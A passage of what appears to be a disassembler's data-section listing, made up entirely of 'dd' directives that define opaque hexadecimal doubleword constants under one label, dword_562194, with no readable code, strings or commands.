		dd 5F433D7Bh, 1C4ED9E0h, 16012DF6h, 511AF874h, 0B570F7E0h
		dd 0F0FA625Bh, 0C0A0EFFEh, 3644C4B4h, 0A4E85100h, 0CE9B7A38h
		dd 11461873h, 0B5B19209h, 0DC9878C3h, 4B7AE813h, 0E5AE001Ch
		dd 7B8910ABh, 8F0A722Fh, 9C57DC1Bh, 0FA99AF00h,	1FDB515h
		dd 67883E5Dh, 0F04F2E0Ch, 0F700DDA2h, 41528A63h, 0E8B15A3h
		dd 75BE44DAh, 786BFDC0h, 9FE2A267h, 809829C9h, 0C04BF4EAh
		dd 58D70007h, 27D48B32h, 401E3A3h, 8A62AD4Ch, 7A817A14h
		dd 6BBF09F2h, 0B376E0C6h, 5D8D890Eh, 62F7618Ah,	5980A1C1h
		dd 0DCD68F36h, 0E50009DBh, 0AB3A709Fh, 37721FE4h, 0C048882Eh
		dd 1DF39277h, 318CA0A0h, 5B71958h, 74C620A1h, 80773008h
		dd 0D56818DEh, 88013C69h, 0E9C4254Ch, 0CBCC946Fh, 0E8E70078h
		dd 0C379F691h, 19C17A61h, 8AAFF772h, 1006F910h,	0E78D3E1Dh
		dd 0B08E6F8Ch, 8A083ABBh, 129B973Bh, 0F3E076CDh, 450FDA7Fh
		dd 402B8F21h, 419B0C2Dh, 0D1B4008Ch, 84E19CCDh,	80957E01h
		dd 3E26360h, 0CB120E3Bh, 7DE06D36h, 7E055C5Fh, 0B1A2B800h
		dd 821D855Eh, 2BD00BAh,	24D28141h, 3A00D4E4h, 209F4EB9h
		dd 0B25C72h, 0D164B025h, 0BF74E65Bh, 79C77E03h,	0A3C9AD38h
		dd 73210EE4h, 5140E613h, 0A9B33C0Dh, 2B006B98h,	89BF41C0h
		dd 78321BAh, 0BDD4B163h, 81254064h, 8200CA95h, 62EFDC29h
		dd 0D37850Ah, 0E33C2BDAh, 0B0298040h, 0C77C0477h, 92BA068Ah
		dd 2082325Bh, 20B8CE06h, 297A03h, 73E54BC4h, 0A7783BBCh
		dd 7974F573h, 20C0B8EEh, 5E5A3B9h, 0DC6700A4h, 3065273Dh
		dd 91E6436Eh, 0AAEF3B18h, 0BDF558h, 0C8D9921Bh,	0F053ABB7h
		dd 80DA4530h, 1F51E2EEh, 401AC209h, 6F5A77D6h, 3717DF7Ch
		dd 8D1DB976h, 0AAC5AE03h, 63C0984Bh, 0DC3A005Bh, 0B0FBCDDDh
		dd 0E6011A6Ch, 6338FB7h, 0B02E535Ah, 0D91C748Ah, 84C0A559h
		dd 0D7D65245h, 0FAFB0008h, 2429E586h, 0A64C2D6Fh, 4B4600BAh
		dd 400C7D2Ch, 5F850034h, 11613791h, 89EAE8AFh, 9000D2ECh
		dd 10077422h, 77B5F0h, 24EA58FEh, 1198600Eh, 807C863Ah
		dd 0BEE0A347h, 4FFCF8h,	6DDD038h, 690E21E3h, 632E9D00h
		dd 1388AE3Bh, 487A00F8h, 0C92899BAh, 9A3CCAD7h,	27B300F6h
		dd 665F45A6h, 983204C7h, 80E1DEF0h, 0E7D393F6h,	8C838638h
		dd 88B635Ch, 2421C0E2h,	0CB9AD299h, 0A7F76801h,	5F46C5C3h
		dd 0AE073C0h, 0E3493B15h, 0A6430383h, 37D8271Fh, 0F2FE7255h
		dd 49DB1731h, 0CAF46CDDh, 11C1608Ch, 68593BBEh,	0FC7D4401h
		dd 35754BF0h, 0C0E2D3D0h, 56628120h, 1D003332h,	0E9F5EC65h
		dd 60AC023Eh, 0B6435899h, 0DD01196Bh, 1A623D37h, 68F01815h
		dd 90EC33DAh, 0A2E13E70h, 5918804Eh, 0BF178DA1h, 281A00FAh
		dd 0C9C88C26h, 8B755AB8h, 6C7B7E00h, 30565743h,	0F6C100C0h
		dd 65F32ED8h, 110014B6h, 0B9CD61C4h, 412001h, 53795762h
		dd 7C637A0Bh, 0D2F53Bh,	0AF7487A4h, 0FBC6082h, 14BD4ACh
		dd 0A1779700h, 7B003399h
dword_562194	dd 0B28F6795h, 0FE1CC7D8h, 214307A8h, 903A14E1h, 74E4C6D2h
		dd 9CEC3300h, 3937BCAFh, 7A833EB4h, 8A5A100h, 6EAC5F09h
		dd 4EB69200h, 6A736C2Eh, 0FCDE180Ah, 0A6110876h, 77DC20C0h
		dd 1D15042Dh, 408299C0h, 6A0610E3h, 0BA1C7419h,	4142354Ah
		dd 0FFBCB14Bh, 0DB26B101h, 6C9EDCB0h, 44AC6203h, 3CDD8B8Fh
		dd 0CE025650h, 38471599h, 0EFB8BD60h, 30B69A3Ah, 3CAF21A6h
		dd 0E9BA0F15h, 98CFC167h, 2C5872E0h, 13186D92h,	7960DA7Ah
		dd 0C6D80A5Eh, 568E47Ch, 200CA5A0h, 0D02E4A70h,	0C38A743Dh
		dd 880A7E22h, 0BCF23C73h, 62B3C300h, 75F70FDh, 0CDB94758h
		dd 6F38339Dh, 0DE985100h, 54106DE9h, 0EE900A74h, 44AC9FD7h
		dd 2E4B6009h, 22741077h, 8084C80Dh, 0E3C7089h, 0FB79A5C7h
		dd 14A9733Ah, 1CA4481Dh, 0D64C7CC0h, 0B251A7h, 6408ECE7h
		dd 11A9999Fh, 0D908A066h, 0E6520021h, 2E33D5ECh, 3C0A6F42h
		dd 0A872B913h, 0B5AE300h, 0B08FD49Eh, 34B80739h, 5ABA965h
		dd 919801E8h, 809EB44Eh, 0D7E66EC8h, 16EEAEh, 0F6B63618h
		dd 11DF5BFh, 80759239h,	8F734EF1h, 9A1C76h, 70E1ACEh, 0E10DC685h
		dd 0A62E3918h, 3F18091Ah, 800040D8h, 7C9C97DCh,	96F65CA5h
		dd 9E14E600h, 0CA2CF94Eh, 0E3D017Ah, 0D016CDC0h, 0F69E8002h
		dd 0E9A4385Ch, 7DC9000Ah, 0D191E104h, 0FBF23B71h, 2361E00h
		dd 21261DDBh, 50CF00A9h, 8A73D99Ch, 70001511h, 9E5DA8C7h
		dd 0EBACE5h, 0BA4DA4A3h, 0A93943BEh, 66DD3D00h,	958A497Fh
		dd 3FE7679h, 963CDC01h,	6BA02A81h, 130F5A17h, 3E0BD6CEh
		dd 0BD005E1Eh, 75D5B219h, 29740784h, 402F6EA1h,	34F007D2h
		dd 819A6300h, 518026DCh, 97443174h, 80951450h, 31CE7A59h
		dd 6D9982h, 59C9D5E1h, 368E1869h, 9F091018h, 7D95329h
		dd 0C95ABE34h, 92890133h, 0BB83E964h, 27E49D21h, 84F56030h
		dd 36BC3195h, 850B7211h, 0D5F42A88h, 0BEA28780h, 0CAFD13A7h
		dd 0CB4B0064h, 96BD5D1Eh, 86DF0503h, 3CC6F4h, 6A162FC8h
		dd 50459C2Dh, 4E054800h, 28469FBh, 7FD0072h, 0E2BDBB59h
		dd 400DD85h, 0AA549C09h, 76BF962h, 89037A53h, 33E4F1A3h
		dd 802FC123h, 0CF0B97B0h, 50BD6Fh, 0D30F0730h, 79F26787h
		dd 3206367h, 0C7D128F0h, 0F5BD01F7h, 4D49D445h,	849143A0h
		dd 0B080A9E2h, 924416AFh, 0F157AE30h, 63E6E445h, 90FFC022h
		dd 3A285103h, 88C214F1h, 0D78548h, 0CCD95E9Dh, 0E4094BDFh
		dd 2FEAC700h, 0C23E1E7Eh, 0BFB93826h, 47336080h, 0C422D92Dh
		dd 8F529E0Fh, 0C75540A4h, 5C1AEEh, 969D6509h, 499BB792h
		dd 0D9930500h, 314CB233h, 0FB101B55h, 91C03030h, 0AD18FE51h
		dd 0E010540Fh, 0B08C0718h, 80C6ED67h, 77DB319Bh, 0CA638900h
		dd 30B35415h, 464E0199h, 3965248Eh, 6794E049h, 7526D301h
		dd 82C2663Bh, 1E6AD860h, 40AB9EB1h, 0E247BE04h,	4A00E143h
		dd 52E6CC99h, 3B0263h, 67852550h, 440965EEh, 4B42A100h
		dd 0D5F6F21Ch, 626F012h, 30A603F0h, 3C00B94Ah, 0DA4E59A3h
		dd 3B7B1CDFh, 1630E84Fh, 0D9F9E020h, 4B9C8118h,	1EF3FEF0h
		dd 8052F829h, 98037E93h, 0AD0068AFh, 41D896C6h,	0E50520h
		dd 4088BC22h, 0D5F31619h, 950044F8h, 0F09FE8B0h, 67370Bh
		dd 3123DEF1h, 0BD845B69h, 0C50EFDFAh, 80FEA4E5h, 23DF0DD0h
		dd 5BF012h, 46E478F9h, 28D606F3h, 2A827E03h, 0F6E8EBAFh
		dd 0DAD10048h, 0DD2EC0Eh, 0BD00FF74h, 5BEB7336h, 0F06A889h
		dd 0E0DC55D7h, 8D1F5440h, 0B161E528h, 251A683Eh, 81D09891h
		dd 0B8A15B70h, 4C13B871h, 8321000Dh, 0AADD5BA3h, 4800D18Bh
		dd 0BD8137D5h, 0D8E0FA6Ah, 0D2ADC090h, 9916B637h, 32B98380h
		dd 958E03C9h, 7D6ADD84h, 3BC240AFh, 0CE00DF0Eh,	96C94A61h
		dd 242A910Ah, 18EDB877h, 84435150h, 9EE76705h, 0A80F8118h
		dd 478CC076h, 73EA3D8Eh, 1B5C05BEh, 50F40AB6h, 9009CE8Ch
		dd 1E007E84h, 39E733Eh,	0B0A0EAE8h, 0CF00B4D1h,	0C3529390h
		dd 3BE6E15h, 51B8019Dh,	0AA00FE1Ah, 793D07E3h, 0F4AE345Ah
		dd 0C99C00D2h, 1F86DCD8h, 9200D346h, 8A3E7EF0h,	168C85h
		dd 5478BC69h, 102E0317h, 2007DE0h, 3412EE31h, 0EA30528h
		dd 0F9E7D1A1h, 74F85560h, 780036D0h, 294C97D4h,	3BD375h
		dd 11633A1Eh, 3E69E2C3h, 0F713B100h, 540B17B3h,	0AA7C1FD2h
		dd 925A804Dh, 4B7991F4h, 0ECC9F02Ch, 30470900h,	0F240F7h
		dd 20BF506h, 0C468E44h,	0B12E20C0h, 1917708h, 0AF564559h
		dd 606F216Ah, 0F400AA98h, 6E1A6D5Eh, 3728967h, 0FEC72E2Ch
		dd 5FA32B26h, 0AFDC5BC8h, 8F1CE239h, 80144740h,	0D3848591h
		dd 1D0130FCh, 25AE5828h, 4490D402h, 80A43562h, 0BF4D00Ch
		dd 0E81000D9h, 4EA28BB4h, 0DA00EF86h, 20D82D73h, 1FE809Eh
		dd 41A8A6C7h, 0FCFF757Fh, 4CF016C0h, 0A0C44930h, 7185F081h
		dd 2D7400D3h, 0C3471CEEh, 51077F34h, 9EDEB1C5h,	2ACA93h
		dd 2D0F8278h, 93FF0658h, 0D4D19C00h, 0D2567267h, 1BCA0281h
		dd 41B6A6DAh, 0B0E541E0h, 0E6B5D01h, 612FDCA4h,	0BC79C40h
		dd 914F3E81h, 0D18E6C84h, 0D98BC60Ah, 0AA18C3B0h, 4910129Eh
		dd 95DB0151h, 831ECFBh,	0F8A04030h, 0A400056Ch,	0D69AB004h
		dd 3F3B4DFFh, 0C189C945h, 0F2804119h, 0DD4CE447h, 4FE81760h
		dd 0A70E01h, 0E9928DEBh, 0D1F721F1h, 1BC9B91Fh,	0F2F028C0h
		dd 0F63C8FDAh, 72B00227h, 0B8750C45h, 0D5C6E057h, 50660095h
		dd 8EC35DDFh, 1A003BB7h, 0A8F9412Ch, 573724h, 0F3149042h
		dd 0FFA004D3h, 4DD21A00h, 0A58541F5h, 0A9BE00FCh, 825B1019h
		dd 5E00B4C1h, 51EC8E9Eh, 631389D7h, 0DDC41808h,	20F14BD1h
		dd 48F0C5A3h, 61AD9C00h, 73FA08F7h, 857E00B6h, 63927657h
		dd 0C37F100Eh, 8F179400h, 2A037EEh, 6DA21FF7h, 78E7D8F1h
		dd 0C888E4A1h, 0A6AC0136h, 401F2C55h, 0A8F886F3h, 0C171D7h
		dd 4B38D507h, 2DF14D3Ah, 0F61EFA03h, 0A9690B87h, 86817E75h
		dd 0F9A9BC9Bh, 49B88106h, 0A8D23D79h, 0E2F32F0h, 587E400Ch
		dd 56692860h, 0DE7C35CBh, 0F8077B77h, 0EFE6A3Bh, 0F7988980h
		dd 0A7540E91h, 409F9765h, 99A1DA8Ch, 0DDF49FA0h, 873D8874h
		dd 0CF9407B3h, 54C08C61h, 1E83AF23h, 3935C22h, 0A05D6269h
		dd 16BA4002h, 60F8B871h, 3C8D5284h, 14803644h, 0A841F09Ch
		dd 960CFBFEh, 40828F02h, 0EAE7B76h, 9A84F863h, 0F3336480h
		dd 6B015767h, 0CC399415h, 7880A1E1h, 0CDC3BB2Ah, 0EE1DE569h
		dd 920095F2h, 9AC44AE3h, 2970A4Ch, 5B2C229Bh, 94B021E8h
		dd 0E5ABA8C3h, 0B1F00626h, 0C163C57Ch, 0B7A74B00h, 9D1068AAh
		dd 4E2C0D93h, 0C4F86679h, 0E2051B04h, 9549B322h, 0C5449840h
		dd 0E6F7D834h, 768E003Eh, 0F0D14FF6h, 0BA002183h, 8D33F431h
		dd 0D8C254h, 0F984428Eh, 86931C6Dh, 0EA194B73h,	2D70289Ch
		dd 2452F8C1h, 19EE2E96h, 3D8CCD20h, 2F51BEBCh, 0CA520D0h
		dd 0BA81B9C0h, 7F128D23h, 89AA2451h, 7F2E028Ch,	0A4817687h
		dd 0C7CBA54Ah, 7B6985E0h, 333CB000h, 0E4101858h, 190007Dh
		dd 960737D9h, 0FD0013E9h, 0EC5E2A7Ah, 1435689Ch, 84692DC8h
		dd 0A227EE00h, 0C079EDB5h, 2ED4A402h, 8CC77F77h, 0CE68BCh
		dd 0E0C467E1h, 73060914h, 24A96500h, 0A73E6D2Eh, 0C6771FCEh
		dd 79E60BA6h, 44878Ah, 0B77F3835h, 93036154h, 0BBD18414h
		dd 0BFE0059Eh, 0F8A49D94h, 0B28000DAh, 0C4882A7h, 5A4702DAh
		dd 0AD8E4A12h
		dd 0AC811448h, 0EBE07500h, 39FBDBC0h, 0FD94013Dh, 48521501h
		dd 530BB53h, 25C8147Dh,	64E414h, 68550BC5h, 7DAD0E93h
		dd 0D2F694h, 43893022h,	1B2D8E96h, 1166EB30h, 0D3B972h
		dd 3D8A6FE9h, 2E344F26h, 0ABCFA300h, 2A5A701Dh,	0A8D100C6h
		dd 5937C9Eh, 0F90313CEh, 3F926516h, 6297EF4Eh, 5CA95A11h
		dd 5D6DECh, 9287AD7h, 60D82ECh,	0C0123705h, 6BC0AD23h
		dd 7EA2AD4h, 0D0C37A88h, 6139B01Bh, 0ED00E86Eh,	35C7C6B2h
		dd 37EB40h, 0A49AFC11h,	30CAE0ECh, 43719100h, 0F724621Bh
		dd 0F38008Ah, 7761758Bh, 0C40F4694h, 736B439Eh,	0FFAD00FBh
		dd 0D863B9B2h, 6F267600h, 31EC705h, 6CD03BD9h, 4D7C3000h
		dd 8516E9BBh, 0A0D7F001h, 7D4B54CBh, 0DE33288Fh, 7FED3FE0h
		dd 0FC1C9FEAh, 0C680FAA8h, 0A7BE789Dh, 31CF1555h, 9B1EA8E0h
		dd 9E07BA67h, 5BB78Fh, 6A1D48F0h, 55F2EA00h, 0D0ED0B42h
		dd 58430086h, 0D11697ADh, 0D703E621h, 7224ABC7h, 9E19F18Ah
		dd 0A1F64880h, 42DB507Bh, 16622600h, 6F08A006h,	411C2889h
		dd 2E7AECE0h, 0CEA2B5h,	366D1EE3h, 5B0011AFh, 5ACC4F49h
		dd 0F7EB0F4h, 960C8D72h, 6ABD2160h, 0F1000E43h,	0F54ABB44h
		dd 1919809h, 33DC37FFh,	0D7E2AD18h, 0EE8EB8F8h,	0BC668C00h
		dd 6594D530h, 2C6D008Ah, 55F0F3B6h, 214BDF5h, 4E05AB3h
		dd 0D0DD4948h, 7919BC0h, 0CFE700A7h, 0D36388AEh, 5008595h
		dd 9AB52078h, 0F52C874h, 0DBA8033Ah, 0F9623600h, 0DA00615Dh
		dd 4EFBB0EBh, 322ECCh, 0D47F5285h, 1016F3A0h, 80E5452Eh
		dd 3A5AA100h, 3E340FDh,	49FB60F6h, 7DB072BCh, 1F003829h
		dd 0C66D68C0h, 6410F9h,	0CC6C1509h, 67A8E330h, 80AE4F3Eh
		dd 71893742h, 1F0178Fh,	0ECABF80Fh, 807EBEAFh, 76FF647Eh
		dd 0E1110Ch, 0A050BAA2h, 1795EC04h, 62124BFCh, 0A840059Ch
		dd 78D146B5h, 0FA9A00B2h, 0A00B71EAh, 0D6008723h, 603B1C47h
		dd 0A4F10Fh, 50B0E05Bh,	447DABE1h, 75B82700h, 5F249C5Ch
		dd 0D0E8F7D6h, 0D4E049EDh, 200414Ch, 0F6D2F2AAh, 0A477EEC4h
		dd 4B3511Fh, 153D68C0h,	57DBF0h, 3E54108Ch, 5ACBF1FBh
		dd 3D892E3Dh, 4D6B00A4h, 0B76C0A79h, 247B034Eh,	0E1539AB6h
		dd 0DB01F1B0h, 0C3D1424h, 95CEFD00h, 39649E74h,	0BC00FE52h
		dd 37809D2Eh, 34380EF0h, 93B680E6h, 26AC2901h, 88B00A6h
		dd 51C95590h, 34099F40h, 8922C83Dh, 2E005F5Ah, 4EBBF4EAh
		dd 0D9FBF102h, 0E0C3CAB8h, 1DC2B48h, 137A8DA4h,	21848A75h
		dd 252C4084h, 504844D7h, 0DB930064h, 0EB35925Bh, 5882004Ah
		dd 0FB2A5CF6h, 7F076EBBh, 59C5A581h, 0E1F2E550h, 0A2AB00BEh
		dd 94B89EE9h, 0AA1D17CCh, 80FC9AD4h, 57441D3Dh,	0E21AC38h
		dd 0FA34880Ah, 0E7F39780h, 54003B85h, 0D18677ECh, 90FFB8Ch
		dd 751FF1F0h, 0CEF50000h, 0A307EEDEh, 0CBACE444h, 0E6A004Eh
		dd 0FB1778h, 91C550EDh,	33DDD06h, 0E4879900h, 1A2B62B3h
		dd 40100EEh, 827039A4h,	0DAE0A2F3h, 0A6C3D500h,	0D667E61Eh
		dd 989763D7h, 39D87B1Dh, 0DE0163AAh, 0F7FD07B9h, 1187DF12h
		dd 10040D5Fh, 5C9DDAE2h, 0DDE7CB1Fh, 7B184000h,	0FF3CFF0h
		dd 6EAFCE91h, 8025A047h, 363BAC6Ah, 0EB427900h,	92F2B246h
		dd 0F61F0170h, 51D40B0Fh, 304AC9FEh, 2424793Ch,	0BE07D887h
		dd 5710C578h, 903CF975h, 0E7FA0114h, 16EB63A7h,	5102030h
		dd 0DD62F61Eh, 1AC081BCh, 0A0568210h, 4123830h,	0F314A8D9h
		dd 9674C0FCh, 0D4492291h, 4D084898h, 0DC680210h, 63C5E63Fh
		dd 8059FF61h, 2802BF0Ch, 0DE6F0288h, 0B6EAD20Ch, 2D3D5044h
		dd 473780D0h, 2F98FC46h, 67000FAh, 25247166h, 0DB01E2E4h
		dd 0EF0CE175h, 0D8244C87h, 408886D1h, 8712CD76h, 9443A235h
		dd 0D0A07053h, 531A4E9h, 4C179D93h, 0C6E4079Bh,	6C1BD03Ah
		dd 3EE6E536h, 58EE030Fh, 8C0240BCh, 6E91C3h, 0A4AD78BFh
		dd 421F86C2h, 70123500h, 4DBD3B66h, 0C86D0E82h,	0E7A7D2A2h
		dd 3EA4E059h, 6501C66Ah, 8B1BF1F9h, 0CFF49C6Fh,	0B9F5043Bh
		dd 0C144815Ah, 242F8E0Ch, 0DDE4EFCCh, 0D45FAC01h, 55067684h
		dd 0B43FC8D7h, 49E900AEh, 165AF298h, 0D600F42Bh, 88D5557Dh
		dd 98D131DAh, 0A4A80EF1h, 0A0E0031Dh, 443BFF22h, 20172100h
		dd 0EBBFEE27h, 7BD001Ch, 0CB8AC248h, 0F1008CE4h, 42643C68h
		dd 30FAE2h, 0D3EEE6ADh,	61111BE3h, 0D6CD160Ah, 7800AC1Fh
		dd 1AA2BCA8h, 6608012Eh, 161C170Ah, 0C9E450ABh,	2C9044E4h
		dd 88003677h, 7EF002C4h, 36E1704h, 7595E767h, 57D827A5h
		dd 7D2CFE31h, 0E080905Fh, 5935D6B3h, 5BD48FAh, 23FEA204h
		dd 7DA0D0EBh, 9200A8E8h, 7B021748h, 0DAC813h, 0DC35105Bh
		dd 0BE9D4442h, 2F8F2B13h, 5A4BC061h, 37D4E300h,	92CF5000h
		dd 0D19A1BD9h, 532700B1h, 0A8D57DF5h, 0A700A50Fh, 94228D59h
		dd 24C720D2h, 602CAFC6h, 63AB0946h, 0E9AC3200h,	0FB9B4781h
		dd 0AAA03B0Dh, 531ED980h, 64612CD1h, 0A4E32A1Fh, 5F01DEAEh
		dd 0AB27715Eh, 398797ECh, 0C980E288h, 0F22E2803h, 3BF2CFBCh
		dd 61DF271Ch, 0C3E39DBCh, 30C17083h, 40CDF229h,	405A2Ch
		dd 25EE9014h, 0CBA2E891h, 0F17C3DE0h, 95291E00h, 0F74BCFBFh
		dd 0E2F27Dh, 0B833761Ah, 942DB287h, 0F37FE500h,	1302EFA0h
		dd 8A5300D4h, 0FFC3056Eh, 32000674h, 0CC01A470h, 717584D0h
		dd 0DCD81439h, 2F2CBCA7h, 8A32D8A0h, 0E0082485h, 0A249196Dh
		dd 0DB0E6414h, 0FCCE01C0h, 3CA2947h, 52011466h,	0B2A01DECh
		dd 0D4246195h, 8824C1E0h, 69001449h, 0E4F8C2Bh,	0CCA103D4h
		dd 0CDEC7744h, 0B8A87900h, 5A6D3C41h, 20246A19h, 1F801D48h
		dd 0A64FC905h, 204884A0h, 0F217E9B1h, 0E046771h, 8880E2C9h
		dd 7E0A6F0h, 98C2D10Ch,	0DCE9106Dh, 900A4BBh, 0A3F5126h
		dd 935D2EDh, 6D0B9E05h,	14490480h, 0BD032D9Ah, 0B642A22Ah
		dd 0ED5EA89Bh, 13960EDAh, 0F8B8CF34h, 0F3F2F9DFh, 0A5282B60h
		dd 5A66EDh, 0E4EF22E2h,	8D952508h, 38920E00h, 0DA450610h
		dd 86972455h, 780962A8h, 0C582BC68h, 62B8E160h,	1C7E8DBh
		dd 0C2D6FBB1h, 40710739h, 616B23CCh, 0C57FEB01h, 25315FCCh
		dd 5304DC33h, 9060AE02h, 6B0999C4h, 27C49B0Fh, 0E91D0FDDh
		dd 74AC1671h, 0E8F1837Eh, 75CC22A7h, 0A562E700h, 9482FA24h
		dd 7E9F003Fh, 0F606EA78h, 2D007DF0h, 36C9CA07h,	0D7B31Dh
		dd 0D52EB4E8h, 0AFCBEB3Ah, 25462E3h, 76D2CC5Eh,	9E3CA430h
		dd 0C9B04087h, 8C7948h,	12B93A95h, 0EBC074FAh, 0F4256F00h
		dd 0CFF796C1h, 0B47C0FADh, 6920A344h, 3EB5C9CBh, 310223Eh
		dd 65BA9015h, 0C79F98EFh, 0CAAC07FBh, 70C4F442h, 3B217B19h
		dd 35C5CB00h, 0AE889F1Bh, 0D2763F2Bh, 80CCC328h, 7BEDBBh
		dd 41854FF5h, 0D73CB945h, 0B4A34000h, 0E468F684h, 281F1D8Fh
		dd 9103FE51h, 0A21582A5h, 327535D0h, 8E425603h,	90627F44h
		dd 11E5C11h, 0B4E1672Dh, 0C4A63331h, 0FF01783Ch, 970DF7C6h
		dd 0E243EE51h, 0F9928018h, 765D021Ah, 378E272Eh, 9A004058h
		dd 3B0CAD3Fh, 7A0819FCh, 799E3A8Bh, 0F84DFD82h,	3051384Bh
		dd 2751400h, 0EFCE054h,	1AA83644h, 0F39A5140h, 7700AECAh
		dd 2AED1FB3h, 1FDBD404h, 0C6AFDD73h, 11D8F7B1h,	6F878407h
		dd 0A08ED002h, 0D52D58DCh, 0A1C82619h, 0E27380E0h, 249ECBF4h
		dd 6D676902h, 0C0257F6Ch, 78169DE4h, 0A4E63057h, 146D4611h
		dd 0FF00ABE0h, 0C94AA954h
		dd 3D5387Ch, 913445E8h,	81C0D7A2h, 3058B5Bh, 84B860B4h
		dd 4FF03380h, 361409E4h, 8057E11Eh, 8B3FE201h, 8503004Ah
		dd 35C7AC80h, 2F056760h, 879CDF6Dh, 0E6EF28D0h,	782B004Eh
		dd 69AD969h, 0BB199076h, 1968E0EEh, 390CCCh, 444D6699h
		dd 7F1E8A9Bh, 89540812h, 5DD67C81h, 0B8CB2843h,	7428EC2Ch
		dd 0E5F914C9h, 0FE08144Dh, 0BB00DC7Ch, 91172F92h, 0AF5C13A0h
		dd 40F71FEAh, 42F38435h, 933FE196h, 2F4F0033h, 3A5305C8h
		dd 1A0C0002h, 3DA38E67h, 0D5074314h, 8E75F39h, 27407CE0h
		dd 964C018Dh, 0EFDE6D31h, 1FF5D4E0h, 0CE4E3B00h, 4F7A43BBh
		dd 514A00A2h, 250A2A7Dh, 0A1C09041h, 16473DC8h,	48A3006Ah
		dd 83A0191Bh, 0F000FCD2h, 383513ADh, 30E559h, 32B2F4F9h
		dd 4521778Dh, 9319BE01h, 96BA643h, 8E552840h, 185CF24Ch
		dd 0D89C7933h, 0EA48ABA7h, 845C50DCh, 69BC7B00h, 40A939C7h
		dd 0E4710C0Eh, 0F121EAFEh, 7974DA00h, 0BC33EEA6h, 34010018h
		dd 0AFE1155Ch, 0EA1E13DCh, 0B10045FDh, 308E7588h, 0F2D60087h
		dd 0D7DF6E37h, 1800048Fh, 5042243Bh, 1E10EB68h,	1886705h
		dd 0E5CF9E7Ch, 0EE2C4D8h, 6493F3A0h, 0D898302Ah, 1B01E49h
		dd 0CB05BDB9h, 0F6DBF21Ah, 0C7E700E1h, 0E1045B67h, 6C020B48h
		dd 3539B85Fh, 0A5F340F0h, 0EBBD90A2h, 0E276BD30h, 9625038Ch
		dd 0FBFCF343h, 5EBE6FC8h, 0C0026EAh, 71BFFAB1h,	877D21h
		dd 44708337h, 13310F2h,	0D4BD4100h, 62FCF1B7h, 84D61DE0h
		dd 94ED0266h, 0CEC1D216h, 9A8E20BEh, 48599D00h,	0B11E314Ch
		dd 471900CEh, 0CAB814EEh, 0D7F84EF3h, 62FB5200h, 9F717B61h
		dd 0C03900FEh, 530212B6h, 0ED6E1331h, 18F8E120h, 0D33AD9h
		dd 16644010h, 0A9FC7A92h, 2D0C3779h, 31112360h,	8DB0BBh
		dd 4857A7B9h, 101972B7h, 8F1F3498h, 91FC6B3h, 6D46019Fh
		dd 18DEB5h, 99EE2BD3h, 2E150C7Dh, 144EA318h, 10BC250h
		dd 0FDB90EB3h, 0C1E18112h, 36DDD013h, 723D90C3h, 2F9188B3h
		dd 848F0051h, 3B95554h,	0FA0079E2h, 0FB564F5Dh,	600A8E7Fh
		dd 3B93880Fh, 0C103549Fh, 0F68CD7F3h, 961581AAh, 0A9BCA8C7h
		dd 79FCD0h, 0F767F75h, 7769745Bh, 92124703h, 88B6E072h
		dd 744D4053h, 73C330CEh, 90BA7620h, 75933A00h, 3C40CCABh
		dd 327F866h, 28CE9F8Bh,	0AB00987h, 3700678Ah, 80C1F31Fh
		dd 0A25379h, 0AC7B5CD0h, 0A472366Ch, 75406618h,	542758h
		dd 0E7463760h, 0F916F447h, 17181F77h, 0BF20A441h, 643A2ECFh
		dd 7BDC00B6h, 0E8FB1BA9h, 19407660h, 7E91F9h, 0CD1A8E48h
		dd 13433D07h, 5401B2FCh, 31D4365Dh, 7888276Bh, 5E603FACh
		dd 0E6E76C37h, 101A4295h, 5526A3F0h, 3B6F0058h,	3C392CADh
		dd 0D0F94306h, 1EC8C068h, 225DB73h, 27784167h, 0D8F8A480h
		dd 78C15A43h, 0CF88B03Bh, 0BF86208Eh, 2979E146h, 3500977Dh
		dd 569FFCCEh, 7464614Bh, 345F0148h, 79B9661Bh, 0FA207036h
		dd 0B4CA5A01h, 0DEB6DCE1h, 0A45237F4h, 689D52A4h, 14775D3Fh
		dd 0A4F28FE8h, 0A13DC4h, 1235827Ah, 0A61B1426h,	0BE81A023h
		dd 0E0528FB9h, 400EBAEh, 727CD00Dh, 0E3A52Ah, 0AF76DC6h
		dd 986E3EBEh, 0CB197407h, 21708E9Fh, 15F5DBh, 0E124B77Fh
		dd 18C30F40h, 3EF7C3Ah,	3EA62577h, 6669F8F0h, 783990ECh
		dd 0E09A00AFh, 1A870575h, 550E5B30h, 436C18DCh,	0A8E6268Dh
		dd 3BDA5499h, 0B9965FAEh, 1F7A01B5h, 0FF94B05Dh, 68D3A1C8h
		dd 86353D00h, 64C204E7h, 0FFE30036h, 2B463859h,	0ED00948Ah
		dd 273F6CEAh, 0EEBBA39h, 912EF6C6h, 74FAAE0h, 4E00BCD6h
		dd 0DCB5FCA7h, 0B025EF17h, 0AE362404h, 14400B6h, 4352C922h
		dd 9B126F00h, 0FA8718DDh, 65982624h, 7A230000h,	0E86CA3C6h
		dd 523C8000h, 7EEB515Ch, 0B2850054h, 0AE35DEFFh, 643AB157h
		dd 0CEEC835Ah, 0C8668FF7h, 0E145C6h, 4698B8B0h,	7ACCED75h
		dd 0A6D14107h, 0BEC0B106h, 6ABAAF2h, 568D3302h,	0BF7819E3h
		dd 0D914A202h, 0E0AF3F93h, 7CCE58h, 6B06C8C2h, 0ED341013h
		dd 0B00C860Fh, 0A0E1AF2Eh, 0E4F10F9Ch, 33FB0C6Ah, 0DA69A5C1h
		dd 0EE227500h, 1FAA82CFh, 721040B4h, 186B5D30h,	7F788AD8h
		dd 300A80ECh, 0DA4B8426h, 5477A1Fh, 15B1D1C3h, 6080FDA8h
		dd 9ECCDA6Bh, 0F470D51Ch, 0CF00DE77h, 6274F149h, 135B158h
		dd 30CE4A85h, 0D1AA478Ah, 2000E3B7h, 0E1B14C10h, 42AE27h
		dd 25718F20h, 0F095C273h, 4DC4DCFDh, 0CAAA6300h, 5868D55Dh
		dd 495A5C78h, 0CFF63800h, 0C246541Fh, 0EE424800h, 0D5EA0361h
		dd 6B2100A8h, 7390F9CEh, 0C001E17h, 0FE39C8AFh,	36C1E14Fh
		dd 8868A25Ah, 0E4F99401h, 0A9537732h, 302AE3DAh, 0B4215208h
		dd 0D302AF90h, 98EEBC93h, 0C8E07F30h, 0C0668A0h, 0DC944A6Fh
		dd 0D9DE6778h, 60DB05F8h, 0DCB10F84h, 8E28423h,	0B0045ABh
		dd 8EB7B15Bh, 3480A816h, 39C0B89Dh, 430136F3h, 0B4EB6B9Fh
